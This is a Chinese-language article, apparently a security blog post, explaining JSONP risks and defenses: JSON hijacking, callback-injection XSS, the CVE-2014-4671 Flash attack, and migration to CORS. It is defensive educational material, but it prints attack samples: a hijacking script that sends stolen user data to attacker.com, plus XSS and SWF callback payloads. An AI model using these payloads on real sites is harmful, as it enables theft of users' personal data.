1. JSONP技术原理与安全背景JSONPJSON with Padding是一种解决跨域数据请求的经典方案其核心原理是利用HTML的script标签不受同源策略限制的特性。当我们需要从a.com获取b.com的数据时传统AJAX请求会被浏览器拦截而JSONP通过动态创建script标签来加载远程数据。典型实现流程如下客户端定义回调函数function handleResponse(data) {...}动态创建script srchttp://b.com/api?callbackhandleResponse服务端返回handleResponse({key:value});客户端自动执行回调函数处理数据这种看似巧妙的设计却隐藏着严重的安全隐患。我在2015年审计某电商平台时就发现其用户敏感信息接口存在JSONP劫持漏洞攻击者可以构造恶意页面窃取登录用户的个人信息。2. JSONP主要安全威胁分析2.1 JSON劫持攻击JSON Hijacking这是最常见的攻击方式属于CSRF攻击的变种。攻击者构造恶意页面诱导已认证用户访问通过JSONP接口窃取敏感数据。典型案例重现script function stealData(data) { new Image().srchttp://attacker.com/log?dataJSON.stringify(data); } /script script srchttps://victim.com/userinfo?callbackstealData/script防御措施的演进过程初期采用Referer检查但存在空Referer绕过问题升级为Token验证但弱Token可能被暴力破解现代方案CORS替代JSONP CSRF Token双重验证2.2 Callback注入导致的XSS漏洞由于callback参数未严格过滤可能引发多种XSS攻击变种基础XSS注入/api?callbackscriptalert(1)/scriptUTF-7 BOM绕过/api?callback%2B%2Fv8%20%2BADw... (UTF-7编码的XSS载荷)MHTML文件注入IE特有mhtml:http://victim.com/api?callbackContent-Type...我在实际渗透测试中发现即使设置了正确的Content-Type某些浏览器如旧版IE仍可能因文件扩展名解析问题导致防御失效。3. 高级攻击技术与防御方案3.1 Flash与JSONP的组合攻击2014年曝光的CVE-2014-4671漏洞展示了如何通过callback参数注入SWF文件var url http://victim.com/api?callbackCWS%07%AA...; // SWF文件头 swfobject.embedSWF(url, content, 400, 200, 10.0.0);防御建议限制callback参数长度建议≤50字符严格验证callback参数格式仅允许字母数字和下划线在响应头添加X-Content-Type-Options: nosniff3.2 内容嗅探攻击防御针对浏览器MIME类型嗅探带来的风险应采取以下措施header(Content-Type: application/json; charsetutf-8); header(X-Content-Type-Options: nosniff); header(Content-Disposition: attachment; filenamedata.json);4. 企业级安全防护实践4.1 防御体系设计完整的JSONP安全防护应包含以下层次输入验证层正则过滤/^[a-zA-Z0-9_\.]$/长度限制≤50字符保留字黑名单输出防护层强制指定Content-Type添加安全响应头数据脱敏处理访问控制层Referer白名单一次性Token请求频率限制4.2 监控与应急响应建议部署以下监控措施异常callback参数监控非预期来源请求分析敏感数据接口调用审计应急响应流程示例1. 识别攻击请求特征 2. 临时关闭受影响接口 3. 分析日志定位受影响用户 4. 修复后安全测试验证 5. 用户通知与密码重置5. 现代替代方案与迁移建议随着CORS标准的普及建议新系统避免使用JSONP。迁移路径建议简单场景改用CORSfetch(https://api.example.com/data, { method: GET, credentials: same-origin, headers: { Content-Type: application/json } })复杂场景使用API Gateway做协议转换采用OAuth 2.0进行授权部署Web Application Firewall我在帮助某金融客户迁移JSONP接口时采用渐进式方案第一阶段新增CORS接口保持JSONP兼容 第二阶段客户端逐步迁移添加使用统计 第三阶段下线JSONP接口监控异常流量这种方案确保了业务连续性同时完成了安全升级。